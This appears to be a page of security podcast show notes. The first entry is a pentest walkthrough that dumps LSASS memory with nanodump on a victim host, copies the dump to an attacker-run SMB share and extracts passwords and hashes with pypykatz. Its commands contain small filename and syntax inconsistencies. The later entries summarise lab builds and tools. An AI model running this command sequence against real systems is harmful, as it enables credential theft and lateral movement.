7MS #508: Tales of Pentest Pwnage - Part 33

Hey friends! We have another fun test of pentest pwnage to share with you today, which is kind of tossed in a blender with some first impressions of ShellcodePack.

We were on a bunch of pentests recently where we needed to dump credentials out of memory. We usually skim this article and other dumping techniques, but this time nothing seemed to work. After some discussion with colleagues, we were pointed to nanodump, which I believe is intended for use with Cobalt Strike, but you can compile standalone (or, pro tip: the latest CrackMapExec has nanodump.exe built right into it, you just have to create the folder first. So what I like to do is put nanodump in a folder on my Kali box, get some admin creds to my victim host, and then do something like this:

# Windows system: tell your Windows system to trust the victim host you're about to PS into: winrm set winrm/config/client @{TrustedHosts="VICTIM-SERVER"} # Windows system: PowerShell into the victim system Enter-PSSession -computername -Credential domain.com\pwneduser # Kali system: create and share a folder with nanodump.exe in it: sudo mkdir /share sudo python3 /opt/impacket/examples/smbserver.py share /share -smb2support # Victim system: copy nanodump from Kali box to VICTIM-SERVER copy \\YOUR.KALI.IP.ADDRESS\share\nano.exe c:\windows\temp\ # Victim system: get the PID for lsass.exe tasklist /FI "IMAGENAME eq lsass.exe" # Victim system: use nano to do the lsass dump c:\windows\temp\nano.exe --pid x --write c:\windows\temp\toteslegit.log # Victim system: Get the log back to your Kali share copy c:\windows\temp\toteslegit.log \\YOUR.KALI.IP.ADDRSS\share\ # Kali system: "fix" the dump and extract credz with mimikatz! sudo /opt/nanodump/restore_signature.sh winupdates1.log sudo python3 -m pypykatz lsa minidump toteslegit.log -o dump.txt

Enjoy delicious passwords and hashes in the dump.txt file!

7MS #662: Pentesting Potatoes - Part 2

Hi friends, today we're talking about pentesting potatoes (not really, but this episode is sort of a homage to episode 333 where I went to Boise to do a controls assessment and ended up doing an impromptu physical pentest and social engineer exercise).  I talk about what a blast I'm having hunting APTs in XINTRA LABS, and two cool tools I'm building with the help of Cursor: A wrapper for Netexec that quickly finds roastable users, machines without SMB signing, clients running Webclient and more. A sifter of Snaffler-captured files to zero in even closer on interesting things such as usernames and passwords in clear text.

7MS #661: Baby's First Hetzner and Ludus – Part 2

Today we continue our journey from last week where we spun up a Hetzner cloud server and Ludus.cloud SCCM pentesting range! Topics include: Building a Proxmox Backup Server (this YouTube video was super helpful) Bridging a second WAN IP to the Hetzner/Ludus server Wrestling with the Hetzner (10-rule limit!) software firewall When attacking SCCM – you can get a version of pxethief that runs in Linux!

7MS #660: Baby's First Hetzner and Ludus

I had an absolute ball this week spinning up my first Hetzner server, though it was not without some drama (firewall config frustrations and failing hard drives). Once I got past that, though, I got my first taste of the amazing world of Ludus.cloud, where I spun up a vulnerable Microsoft SCCM lab and have started to pwn it. Can't say enough good things about Ludus.cloud, but I certainly tried in this episode!

7MS #657: Writing Rad Security Documentation with Retype

7MS #657: Writing Rad Security Documentation with Retype

Hello friends! Today we're talking about a neat and quick-to-setup documentation service called Retype. In a nutshell, you can get Retype installed on GitHub pages in about 5 minutes and be writing beautiful markdown pages (with built-in search) immediately. I still absolutely love Docusaurus, but I think Retype definitely gives it a run for its money.
